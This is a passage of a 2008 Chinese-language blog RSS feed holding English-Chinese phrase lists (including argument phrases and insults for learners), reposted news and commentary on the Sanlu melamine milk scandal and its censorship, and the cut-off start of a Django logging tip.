excuses.（不要給我任何理由。）&lt;br&gt;192． Are you out of you mind?（你瘋了嗎？）&lt;br&gt;193． He&#39;s been everywhere.（他到處都去過了。）&lt;br&gt;194． What&#39;s bothering you?（什麼在困擾你？）&lt;br&gt;195． Who is to blame?（該怪誰？）&lt;br&gt;196． There&#39;re a lot of rumors going around.（很多流言流傳著。）&lt;br&gt; 197． I don&#39;t feel up to that.（我覺得不能勝任那工作。）&lt;br&gt;198． I&#39;m mad at myself.（我生自己的氣。）&lt;br&gt;199． It&#39;s raining cats and dogs.（下著傾盆大雨。）&lt;br&gt;200． The sky is getting very cloudy.（天空的雲越來越多了。）&lt;br&gt;201． You won&#39;t get away with this.（你逃不掉懲罰的。）&lt;br&gt; 202． I&#39;m tired of going to school day after day.（我厭倦每天上學。）&lt;br&gt;203． Who am I supposed to see?（我應該去見誰？）&lt;br&gt;204． His idea is childish.（他的想法很幼稚。）&lt;br&gt;205． I need small change.（我需要零錢。）&lt;br&gt;206． Don&#39;t try to wash my brain (brainwash me).（別想給我洗腦。）&lt;br&gt; 207． I don&#39;t seem to have any luck today.（我今天運氣不好。）&lt;br&gt;208． That reminds me.（那提醒了我。）&lt;br&gt;209． What the hell are you doing?（你到底在做什麼？）&lt;br&gt;210． I can&#39;t seem to get to sleep.（我好象睡不著。）&lt;br&gt;211． You look very serious about something.（你似乎有很嚴重的事。）&lt;br&gt; 212． I hope I&#39;m not in the way.（我希望沒有造成妨礙。）&lt;br&gt;213． What are you so excited about?（什麼事讓你如此興奮？）&lt;br&gt;214． Tell me about you trouble.（把你的煩惱告訴我。）&lt;br&gt;215． I feel much better now.（我感覺好多了。）&lt;br&gt;216． I hope you will get well soon.（希望你很快會恢復。）&lt;br&gt; 217． She is sick in bed.（她臥病在床。）&lt;br&gt;218． I have a slight fever.（我輕微發燒。）&lt;br&gt;219． A fool never learns.（傻瓜永遠學不會。）&lt;br&gt;220． This is the schedule for tomorrow.（這是明天的日程安排。）&lt;br&gt;221． How late are you open?（你們營業到多晚？）&lt;br&gt;222． I&#39;m here on business.（我來這裏出差。）&lt;br&gt; 223． What&#39;s Hong Kong famous for?（香港以什麼聞名？）&lt;br&gt;224． What brings you to Beijing?（什麼風把你吹到北京來的？）&lt;br&gt;225． She looks blue.（她滿面憂傷。）&lt;br&gt;226． I just don&#39;t know what to say.（我就是不知道說什麼。）&lt;br&gt;227． Let&#39;s have fun tonight.（今晚讓我們狂歡。）&lt;br&gt; 228． Thank you for coming to see me off.（謝謝你來為我送行。）&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://www.adrive.com/public/7ed8ee517e4dfd870870e02fea55645b89efc26edce7e1efa1524e8a60ef0abc.html&quot; target=&quot;_blank&quot;&gt;按此下載&lt;/a&gt;&lt;br&gt;(不能下載請留言通知我, 謝謝)&lt;br&gt;&lt;br&gt;其他閱讀:&lt;a href=&quot;http://kidd0601.blogspot.com/2007/04/blog-post.html&quot; target=&quot;_blank&quot;&gt;&lt;br&gt; 百句吵架英文&lt;/a&gt;&lt;br&gt;&lt;br&gt;4. &lt;/span&gt;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/04/blog-post.html&quot;&gt;轉載: 百句吵架英語&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/04/blog-post.html&quot;&gt;http://kidd0601.blogspot.com/2007/04/blog-post.html&lt;/a&gt;&lt;br&gt; &lt;br&gt;不知道原作者是誰. 如有版權問題請留言跟我講一下我把他拿掉. 有機會&lt;del&gt;(有空)&lt;/del&gt;的話我問看看有沒有美國同學要唸一下讓我錄起來分享.&lt;br&gt;&lt;br&gt;1.Stop complaining! 別發牢騷！&lt;br&gt;2.You make me sick! 你真讓我噁心！&lt;br&gt;3.What&#39;s wrong with you? 你怎麼回事？&lt;br&gt;4.You shouldn&#39;t have done that! 你真不應該那樣做!&lt;br&gt; 5.You&#39;re a jerk! 你是個廢物/混球！&lt;br&gt;6.Don&#39;t talk to me like that! 別那樣和我說話!&lt;br&gt;7.Who do you think you are? 你以為你是誰？&lt;br&gt;8.What&#39;s your problem? 你怎麼回事啊？&lt;br&gt;9.I hate you! 我討厭你！&lt;br&gt;10.I don&#39;t want to see your face! 我不願再見到你！&lt;br&gt; 11.You&#39;re crazy! 你瘋了!&lt;br&gt;12.Are you insane/crazy/out of your mind? 你瘋了嗎？（美國人絕對 常用！）&lt;br&gt;13.Don&#39;t bother me. 別煩我。&lt;br&gt;14.Knock it off. 少來這一套。&lt;br&gt;15.Get out of my face. 從我面前消失！&lt;br&gt;16.Leave me alone. 走開。&lt;br&gt;17.Get lost.滾開！&lt;br&gt; 18.Take a hike! 哪兒涼快哪兒歇著去吧。&lt;br&gt;19.You piss me off. 你氣死我了。&lt;br&gt;20.It&#39;s none of your business. 關你屁事！&lt;span class=&quot;fullpost&quot;&gt;&lt;br&gt;21.What&#39;s the meaning of this? 這是什麼意思？&lt;br&gt;22.How dare you! 你敢！&lt;br&gt;23.Cut it out. 省省吧。&lt;br&gt; 24.You stupid jerk! 你這蠢豬！&lt;br&gt;25.You have a lot of nerve. 臉皮真厚。&lt;br&gt;26.I&#39;m fed up. 我厭倦了。&lt;br&gt;27.I can&#39;t take it anymore. 我受不了了！（常用）&lt;br&gt;28.I&#39;ve had enough of your garbage. 我聽膩了你的廢話。&lt;br&gt;29.Shut up! 閉嘴！&lt;br&gt;30.What do you want? 你想怎麼樣？&lt;br&gt; 31.Do you know what time it is? 你知道現在都幾點嗎？&lt;br&gt;32.What were you thinking? 你腦子進水啊？&lt;br&gt;33.How can you say that? 你怎麼可以這樣說？&lt;br&gt;34.Who says? 誰說的？&lt;br&gt;35.That&#39;s what you think! 那才是你腦子裏想的！&lt;br&gt;36.Don&#39;t look at me like that. 別那樣看著我。&lt;br&gt; 37.What did you say? 你說什麼？&lt;br&gt;38.You are out of your mind. 你腦子有毛病！&lt;br&gt;39.You make me so mad.你氣死我了啦。&lt;br&gt;40.Drop dead. 去死吧！&lt;br&gt;41.fuck off. 滾蛋。&lt;br&gt;42.Don&#39;t give me your shit. 別跟我胡扯。&lt;br&gt;43.Don&#39;t give me your excuses/ No more excuses. 別找藉口。&lt;br&gt; 44.You&#39;re a pain in the ass. 你這討厭鬼。&lt;br&gt;45.You&#39;re an asshole. 你這缺德鬼。&lt;br&gt;46.You bastard! 你這雜種！&lt;br&gt;47.Get over yourself. 別自以為是。&lt;br&gt;48.You&#39;re nothing to me. 你對我什麼都不是。&lt;br&gt;49.It&#39;s not my fault. 不是我的錯。&lt;br&gt;50.You look guilty. 你看起來心虛。&lt;br&gt; 51.I can&#39;t help it. 我沒辦法。&lt;br&gt;52.That&#39;s your problem. 那是你的問題。&lt;br&gt;53.I don&#39;t want to hear it. 我不想聽！&lt;br&gt;54.Get off my back. 少跟我囉嗦。&lt;br&gt;55.Give me a break. 饒了我吧。&lt;br&gt;56.Who do you think youre talking to? 你以為你在跟誰說話？&lt;br&gt; 57.Look at this mess! 看看這爛攤子！&lt;br&gt;58.Youre so careless. 你真粗心。&lt;br&gt;59.Why on earth didn&#39;t you tell me the truth? 你到底為什麼不跟我說實話？&lt;br&gt;60.I&#39;m about to explode! 我肺都快要氣炸了！&lt;br&gt;61.What a stupid idiot! 真是白癡一個！&lt;br&gt;62.I&#39;m not going to put up with this! 我再也受不了啦！&lt;br&gt; 63.I never want to see your face again! 我再也不要見到你！&lt;br&gt;64.That&#39;s terrible. 真糟糕！&lt;br&gt;65.Just look at what you&#39;ve done! 看看你都做了些什麼！&lt;br&gt;66.I wish I had never met you. 我真後悔這輩子遇到你！&lt;br&gt;67.You&#39;re a disgrace. 你真丟人！&lt;br&gt;68.I&#39;ll never forgive you! 我永遠都不會饒恕你！&lt;br&gt; 69.Don&#39;t nag me! 別在我面前嘮叨！&lt;br&gt;70.I&#39;m sick of it. 我都膩了。&lt;br&gt;71.You&#39;re such a bitch! 你這個婊子!&lt;br&gt;72.Stop screwing/ fooling/ messing around! 別鬼混了！&lt;br&gt;73.Mind your own business! 管好你自己的事！&lt;br&gt;74.You&#39;re just a good for nothing bum! 你真是一個廢物！/ 你一無是處!&lt;br&gt; 75.You&#39;ve gone too far! 你太過分了！&lt;br&gt;76.I loathe you! 我討厭你！&lt;br&gt;77.I detest you! 我恨你！&lt;br&gt;78.Get the hell out of here! 滾開!&lt;br&gt;79.Don&#39;t be that way! 別那樣！&lt;br&gt;80.Can&#39;t you do anything right? 成事不足，敗事有餘。&lt;br&gt;81.You&#39;re impossible. 你真不可救藥。&lt;br&gt; 82.Don&#39;t touch me! 別碰我！&lt;br&gt;83.Get away from me! 離我遠一點兒！&lt;br&gt;84.Get out of my life. 我不願再見到你。/ 從我的生活中消失吧。&lt;br&gt;85.You&#39;re a joke! 你真是一個小丑！&lt;br&gt;86.Don&#39;t give me your attitude. 別跟我擺架子。&lt;br&gt;87.You&#39;ll be sorry. 你會後悔的。&lt;br&gt; 88.We&#39;re through. 我們完了！&lt;br&gt;89.Look at the mess you&#39;ve made! 你搞得一團糟！&lt;br&gt;90.You&#39;ve ruined everything. 全都讓你搞砸了。&lt;br&gt;91.I can&#39;t believe your never. 你好大的膽子！&lt;br&gt;92.You&#39;re away too far. 你太過分了。&lt;br&gt;93.I can&#39;t take you any more! 我再也受不了你啦！&lt;br&gt; 94.I&#39;m telling you for the last time! 我最後再告訴你一次！&lt;br&gt;95.I could kill you! 我宰了你！&lt;br&gt;96.That&#39;s the stupidest thing I&#39;ve ever heard! 那是我聽到的最愚蠢的事！&lt;br&gt;97.I can&#39;t believe a word you say. 我才不信你呢!&lt;br&gt;98.You never tell the truth！ 你從來就不說實話！&lt;br&gt; 99.Don&#39;t push me ! 別逼我！&lt;br&gt;100.Enough is enough! 夠了夠了！&lt;br&gt;101.Don&#39;t waste my time anymore. 別再浪費我的時間了！&lt;br&gt;102.Don&#39;t make so much noise. I&#39;m working. 別吵，我在幹活。&lt;br&gt;103.It&#39;s unfair. 太不公平了。&lt;br&gt;104.I&#39;m very disappointed. 真讓我失望。&lt;br&gt; 105.Don&#39;t panic! 別怕!&lt;br&gt;106.What do you think you are doing? 你知道你在做什麼嗎？&lt;br&gt;107.Don&#39;t you dare come back again! 你敢再回來！&lt;br&gt;108.You asked for it. 你自找的。&lt;br&gt;109.Nonsense! 鬼話！&lt;/span&gt;&lt;/font&gt;&lt;br&gt;&lt;font size=&quot;2&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;/font&gt;&lt;font size=&quot;2&quot;&gt;-- &lt;br&gt;Jiang Bian&lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.com/&quot;&gt;http://www.b0rder.com/&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt; &lt;/div&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-2903481495294142000?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/09/eslpodcom.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-9173837242519009665</guid><pubDate>Wed, 17 Sep 2008 02:06:00 +0000</pubDate><atom:updated>2008-09-17T10:06:19.953+08:00</atom:updated><title>中国开始管制三鹿毒奶粉负面报导</title><description>&lt;div dir=&quot;ltr&quot;&gt;&lt;br&gt;&lt;h2&gt;中国开始管制三鹿毒奶粉负面报导&lt;/h2&gt; 						 						 																											&lt;div id=&quot;postmessage_1120&quot; class=&quot;t_msgfont&quot;&gt;中国三鹿奶制品有毒事件的报导越来越多，引起了世界舆论的关注。中国当局开始控制有关的负面报导，争取再次做到舆论一律、内外有别。&lt;br&gt; &lt;br&gt; 南华早报记者从北京报导，河北三鹿公司出产的奶粉造成数人死亡、一千多儿童患病的严重后果。中国政府已经逮捕了两名河北奶农兄弟。而新西兰政府已指出，河北方面隐瞒不报，确实负有不可推卸的责任。&lt;br&gt; &lt;br&gt; *要求媒体按新华社统一口径*&lt;br&gt; &lt;br&gt; 面对三鹿奶制品事件的曝光和由此产生的巨大负面效应，中国政府开始权衡利弊，收紧报导口子，让各媒体只能用新华社的通稿。南华早报说，中国青年报已经开始这样做了。&lt;br&gt; &lt;br&gt; 中央电视台人士说，上星期五就接到了通知，说只能采用新华社的通稿。还有的记者说，的确已经下文件，让新闻单位最好不要报导有关的评论和儿童因这种奶制品而患有肾结石的事情。&lt;br&gt; &lt;br&gt; 报导说，河北的媒体基本没有什么报导，因为省委宣传部已经下令要大家不要&quot;炒作&quot;这个新闻。&lt;br&gt; &lt;br&gt; 中国的资深媒体工作者昝爱宗说，当局这样做，是因为有传统和惯性在里面：&quot;每次发生重大的突发性事件，包括重大的食品安全和安全生产的事件，很容易引起群 体性事件。宣传部门一般都要求用新华社的通稿。因为新华社的通稿，一是新华社记者都知道，该写什么，不该写什么。一般就是简要记述事件简单的情况，不会报 导内幕和背景。&quot;&lt;br&gt; &lt;br&gt; 原公益时报主编、资深新闻工作者陈杰人说，让大家都用新华社的通稿，从发布命令的单位和机构来说，也许有它自己的道理：&quot;也许，它有它善良的用意，希望不要引起恐慌。但我认为，不管什么事情，让媒体能充分自由地报导，真正有助于澄清真相，避免损害的扩大。&quot;&lt;br&gt; &lt;br&gt; 陈杰人说，中国控制舆论和报导有其传统，但最近这些年来，的确有所放松。比如三鹿奶制品事件和山西溃坝事件等等。陈杰人说，三鹿事件的确涉及到了公共安全，有关方面的确不应该控制媒体的报导自由。应让媒体自由报导，从而达到监督的效果。&lt;br&gt; &lt;br&gt; 中国多家门户网站比如百度、搜狐、新浪都报导，三鹿奶制品事件曝光后，该公司曾和百度联系，希望能出三百万公关费用，让百度这个中国最大的搜索引擎网站帮助封杀和屏蔽相关的负面新闻，遭到了百度的断然拒绝。&lt;br&gt; &lt;br&gt; 浙江资深媒体工作者昝爱宗说，百度拒绝三鹿集团用三百万公关费来消除负面新闻的请求，也许因为多种因素。如果三鹿把公关费用提高到一千万、两千万，或者，三鹿通过政府给这些互联网门户网站施加压力，昝爱宗认为，那么很可能，百度就会顶不住经济或政治压力而屏蔽相关报导。&lt;br&gt; &lt;br&gt; 他说：&quot;比如，浙江台州有个晚报，把台湾说成一个国家。百度上搜索，一大串一大串，后来再搜索，什么都没有。还有就是浙江发改委主任史久武，跳楼自杀，前几天还百度上有许多相关报导。过几天再一看，就什么都没有了。&quot;&lt;br&gt; &lt;br&gt; 昝爱宗说，政府要想控制百度，实在是太容易了。有无数的证据证明，新浪、百度、搜狐都很听话。昝爱宗说，三鹿毒奶制品事件，官方也震怒，老百姓也发怒，百度完全没必要为了区区三百万而牺牲自己。&lt;br&gt;&lt;br&gt;&lt;/div&gt;From: &lt;a href=&quot;http://doubans.com/thread-293-1-1.html&quot;&gt;http://doubans.com/thread-293-1-1.html&lt;/a&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt; -- &lt;br&gt;Jiang Bian&lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.com/&quot;&gt;http://www.b0rder.com/&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;&lt;br&gt; &lt;/div&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-9173837242519009665?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/09/blog-post_4287.html</link><author>borderj@gmail.com (Border)</author><thr:total>261</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-5205966968597862416</guid><pubDate>Wed, 17 Sep 2008 02:00:00 +0000</pubDate><atom:updated>2008-09-17T10:00:17.197+08:00</atom:updated><title>伊利雪條含三聚氰胺需回收</title><description>&lt;div dir=&quot;ltr&quot;&gt;&lt;br&gt;&lt;div class=&quot;entry-body&quot;&gt;&lt;div&gt;&lt;div class=&quot;item-body&quot;&gt;&lt;div&gt;&lt;div&gt; &lt;div&gt; &lt;h1&gt;伊利雪條含三聚氰胺需回收&lt;/h1&gt; &lt;/div&gt; &lt;div&gt;&lt;img src=&quot;http://hk.l.yimg.com/hk.yimg.com/i/nws/partner/mp.gif&quot; alt=&quot;&quot; height=&quot;30&quot;&gt; (明報)9月16日 星期二 17:20&lt;/div&gt; &lt;/div&gt; &lt;p&gt;&lt;a target=&quot;_blank&quot;&gt;&lt;span style=&quot;display: inline;&quot;&gt;&lt;span&gt;食環署&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;發現「伊利牧場大果粒酸奶味雪條」(90毫升)的一個樣本含有三聚氰胺，有關產品將全線回收。&lt;/p&gt; &lt;p&gt;&lt;a target=&quot;_blank&quot;&gt;&lt;span style=&quot;display: inline;&quot;&gt;&lt;span&gt;惠康&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;發出通告稱，即時暫停發售伊利牌所有雪條及雪糕產品。由9月17日(星期三) 起，顧客可攜同產品到任何一間惠康超級市場退款。為方便顧客，是次退貨毋須收據。&lt;/p&gt; &lt;p&gt;這是內地第二間奶製品公司，被發現在產品中含有三聚氰胺，河北三鹿嬰兒奶粉較早時含有三聚氰胺，有逾千名嬰兒食用奶粉後患上腎結石，其中2名嬰兒死亡.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;From: &lt;a href=&quot;http://www.bullog.cn/blogs/lianyue/archives/178412.aspx&quot;&gt;http://www.bullog.cn/blogs/lianyue/archives/178412.aspx&lt;/a&gt;&lt;br clear=&quot;all&quot;&gt; &lt;br&gt;-- &lt;br&gt;Jiang Bian&lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.com/&quot;&gt;http://www.b0rder.com/&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;&lt;br&gt; &lt;/div&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-5205966968597862416?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/09/blog-post_17.html</link><author>borderj@gmail.com (Border)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-592916046846926230</guid><pubDate>Wed, 17 Sep 2008 01:57:00 +0000</pubDate><atom:updated>2008-09-17T09:58:00.213+08:00</atom:updated><title>三鹿的文件下来了，五毛们，准备出发！ - Free talk ! - 热衷八卦事业的兴趣小组</title><description>&lt;div dir=&quot;ltr&quot;&gt;&lt;br&gt;&lt;div class=&quot;entry-body&quot;&gt;&lt;div&gt;&lt;div class=&quot;item-body&quot;&gt;&lt;div&gt;&lt;h2&gt;三鹿的文件下来了，五毛们，准备出发！&lt;/h2&gt;																																							&lt;div&gt;关于做好&quot;三鹿&quot;奶粉受污染事件网上宣传管理的提示（转贴）&lt;br&gt;&lt;br&gt;　　近日，河北&quot;三鹿&quot;奶粉受污染事件引起网民关注。现就做好网上相关宣传管理工作提以下要求：&lt;br&gt; &lt;br&gt;　　1、严格规范稿源，网上报道只转发新囧社、人民囧报等中央主要新闻单位稿件。&lt;br&gt;&lt;br&gt;　　2、关于此事件的报道不作头条，不开专题。要重点报道政府采取的处置措施及进展，报道医疗部门对致病儿童的积极救治。&lt;br&gt;&lt;br&gt;　　3、论坛、博客等互动栏目中不把此事作为推荐话题，不置顶，论坛言论的数量和气氛要作适当控制，防止炒热。&lt;br&gt;&lt;br&gt;　　4、坚决封堵和删除将矛头指向党和政府、煽动维权上访、散布谣言等有害信息。&lt;br&gt;&lt;br&gt; 　　5、组织网评员开展网上引导。引导口径以卫生部等部门对外发布的正面信息为准，积极引导网民支持党和政府的态度和立场，相信有关部门所作的努力及取得的成效。&lt;br&gt;&lt;br&gt;宣传提示&lt;br&gt;　　甘肃婴儿患泌尿系统结石病，涉及石家庄三鹿集团。食品安全，事关国计民生及国家的形象信誉，请各地指导属地网媒在宣传报道中注意稳妥把握以下两点：&lt;br&gt;&lt;br&gt;　　一是不要过分炒作，不要对其它食品安全做链接报道，避免放大食品安全问题，给大局添乱。&lt;br&gt;&lt;br&gt; 　　二是不要做猜测性报道，对重大食品质量安全问题的报道要以权威部门发布的信息为准，各媒体不得自行组织采访报道，不要轻易下结论，避免授人以柄。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;From: &lt;a href=&quot;http://doubans.com/thread-276-1-1.html&quot;&gt;http://doubans.com/thread-276-1-1.html&lt;/a&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt; 2008.9.17&lt;br&gt;-- &lt;br&gt;Jiang Bian&lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.com/&quot;&gt;http://www.b0rder.com/&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;&lt;br&gt; &lt;/div&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-592916046846926230?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/09/free-talk.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-4924306545854397615</guid><pubDate>Tue, 16 Sep 2008 01:47:00 +0000</pubDate><atom:updated>2008-09-16T09:47:33.071+08:00</atom:updated><title>三鹿奶粉事件的命门</title><description>&lt;div dir=&quot;ltr&quot;&gt;&lt;br&gt;&lt;p&gt;中国真是个人祸遍地的国家，以至于天灾背后从来不缺少人祸之推手。在每天发生的众多人祸里，又有许多是明知故犯；不只是明知故犯，而是纵容着犯；不 只是纵容着，出现了问题，还竭力包庇、掩盖、推委，对这些事故重大的人祸，从来都没有一个像样子的处理方案。面对人祸危机，从政府到事故方，他们要做的是 不清查事故，公开相关的信息，彻查当事人，向受害者赔理偿道歉。而是政府和事故方合起来，掩盖事实真相，坑害民众利益。这次三鹿奶粉事件，只不过是中国众 多人祸事件的又一次东窗事发罢了。 &lt;/p&gt;&lt;p&gt;为什么政府和产方一而再，再而三的出现大规模坑害民众的事，但民众就没有办法制止自己的权益不受侵害 呢？其根源当然是源于政府的执政不是民众选举的结果，而且政府之所以不承认自己所犯的错，那就是因为民众无法用选票将不称职的政府选下台，因为目前中国民 众的选票依旧是一张象征意义大过实际用途的废纸。中央政府到各级地方政府的权力不受约束，民众不能真正制约他们不作为或者乱作为乃至作恶，才是一切人祸频 发的总根源。请记住，每天频发的大大小小的灾难里所包含的人祸因素，无一例外指向这个政府的权力来源和合法性，可谓万箭猬集。这个政府中的有识之士也深知 这一点，但没有竞争对手的六十年&quot;单干&quot;已经使执政党和政府百孔千疮，他们被巨大而恶劣的执政习惯，被权力集团的利益所裹狭，已经上了一趟混装各种危险品 的快速列车，既缺乏紧急处置的能力，也不想改变方向，清除掉车上的危险品。只是在那里像征性地高喊三十年改革开放，却不做一星半点的政治改革的实质举措。 这样的政府管制下出现许多匪夷所思的对民众生命的漠视，实在他们执政特质之体现。&lt;/p&gt;&lt;p&gt; 我这样说，不仅有历史纪录，有理论根据，而且更有现实的 靶子。三鹿奶粉总部所在地石家庄政府在卫生部的调查报告尚未出笼的时候，他们已开足马力，为袒护三鹿奶粉殚精竭虑。三鹿奶粉方面与当地政府穿了连裆裤是傻 子都看出来的道理。三鹿产方和石家庄政府，甚至是卫生部、国家质检局等相关部门都是极有瓜葛的利益相关单位。这些利益相关单位早都从内部获知消费者投诉或 者医院病况，但是为了所谓稳定，为了奥运，为了更多的相关利益链，他们当然可以置人命于不顾。中央政府有稳定的压力，各部门有自己官员的官帽和实际受贿利 益，当地政府的税收以及GDP，大批与此相关官员的贪腐，组合在一起成了类似三鹿奶粉这种企业危害民众利益而不受真正惩处的保护伞。商业利益使得这个保护 伞的组合不只是政府各部门的贪腐与违法，而且连结到新闻媒体在其间的猫腻。新闻媒体受官方之打压，不能随意报道，我们暂且不说了，因为没有新闻自由。但新 闻媒体和产家的利益瓜葛，因广告的投放的竞争，难以避免利益交换。这种利益交换的得益者，当然是产方和新闻媒体，损害的是民众的知情权，从而损害民众利 益，危及民众生命安全。同样的利益交换，当然更大规模地发生在与企业相关的政府行业主管部门，这里面的贪污腐败形成了有效的利益链锁，彻底出卖了民众的利 益，所以你看到许多利益相关的政府部门、官员、媒体及其从业人员，联合起来愿意为不法产商背书，你一点都不要吃惊。到要追究责任的时候，要么拿钱来不了了 之，要么允许你走起诉的过场，但公检法也在后面等着不法产商送好处去，连怎么背书的调子都已经定好了。 也就是说，当一个产家通过许多关系使自己变成一地乃至国家的龙头企业后，这样的企业危害起民众的利益来，民众要讨回会的利益可谓难上加难。&lt;/p&gt;&lt;p&gt;这 里面有一个充满痛苦的悖论：消费者在不知情与信息不充分，在媒体的误导并且压制了所有该企业的负面新闻，在虚假广告的诱惑下，使得消费者成就了某一个商品 成为所谓的名牌，而一旦成了名牌，你要是受到了它的伤害，那它的力量就千百倍地能够弹压消费者。因为中国产品的名牌都是各种相关利益链（唯一不受重视的是 消费者的利益）所组成的，而这相关利益链最可怕当然是政府在其间的贪腐和媒体在其间的误导。但不幸的是，中国没有哪一次伤害民众的事件，不是由政府相关部 门乱作为乃至作恶，媒体受压误导或者受利益关联袒护而造成的。在中国社会，这就形成了一个通过不合法手段形成的强者通吃的社会局面，遍布各个阶层。而民众 作为利益个体，利益分散，不容易组织起来，不容易形成合力来与这些不法的政府部门和虚假新闻媒体作斗争。因为你不仅没有言论自由，而且你没有游行、结社等 宪法赋予的自由。&lt;/p&gt;&lt;p&gt;如果不在制度设计上加以改革，那么民众作为利益受害者而得不到实质性赔偿的命运不仅无法改变，而且你只要你生在中国，你是 普通民众，那么你就注定你受害的必然性。只是你受害的程度多少、家害时间的长短、受害秩序的先后而已。换言之，在中国做一个不受伤害的民众，或者说受到伤 害而能得到真正公正补偿的民众，你的概率是无限趋近于零。也就是说，在中国，如果你是普通民众，你一生都未受到过不公正对待，没有受到过伤害，其概率比中 六合彩还难。 三鹿奶粉事件不单纯是个食品安全事件——海外国家只需要拒绝进口中国这样的食品就行——但对中国来说，只是拒买或者惩罚三鹿奶粉是远远不够的。因为一个三 鹿倒下了，千百万个三鹿站起来了。查出了三鹿奶粉的问题乃至我们幻想着能够合法处理它，在没有真正的制度保障食品安全问题的情形下，只不过是那些目前尚在 扮演安全角色而实则一样有安全问题的企业在偷偷发笑，从中获益。普通民众的利益依旧不能得到真正的保障，普通民众成了永远的受害者。任何民众利益的大规模 受损，最终矛盾的焦点，无一例外指向最高当轴的民主政治改革，三鹿奶粉事件中诸方利益的博弈，受害方要得到真正完全公平公开公正的处理与赔偿，并且有效杜 绝此类事件再次发生，必须仰赖中国的民主政治体制改革。我个人认为，中国社会已经到了充满很大危机的十字路口。(冉云飞)&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;From: &lt;a href=&quot;http://vision.blogbus.com/logs/28910451.html&quot;&gt;http://vision.blogbus.com/logs/28910451.html&lt;/a&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;Jiang Bian&lt;br&gt; Blog: &lt;a href=&quot;http://www.b0rder.com/&quot;&gt;http://www.b0rder.com/&lt;/a&gt;&lt;br&gt;Mail: borderj {at} &lt;a href=&quot;http://gmail.com&quot;&gt;gmail.com&lt;/a&gt;&lt;br&gt;&lt;br&gt; &lt;/div&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-4924306545854397615?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/09/blog-post.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-3338272193529440584</guid><pubDate>Mon, 05 May 2008 17:09:00 +0000</pubDate><atom:updated>2008-05-06T01:09:54.322+08:00</atom:updated><title>[Django] Console logging</title><description>在setting.py的尾部增加下面几句：&lt;br&gt;&lt;br clear=&quot;all&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;import logging&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;# Enable info logging by the app (this is separate from appserver&#39;s&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;# logging).&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;FORMAT=&#39;[%(asctime)s] 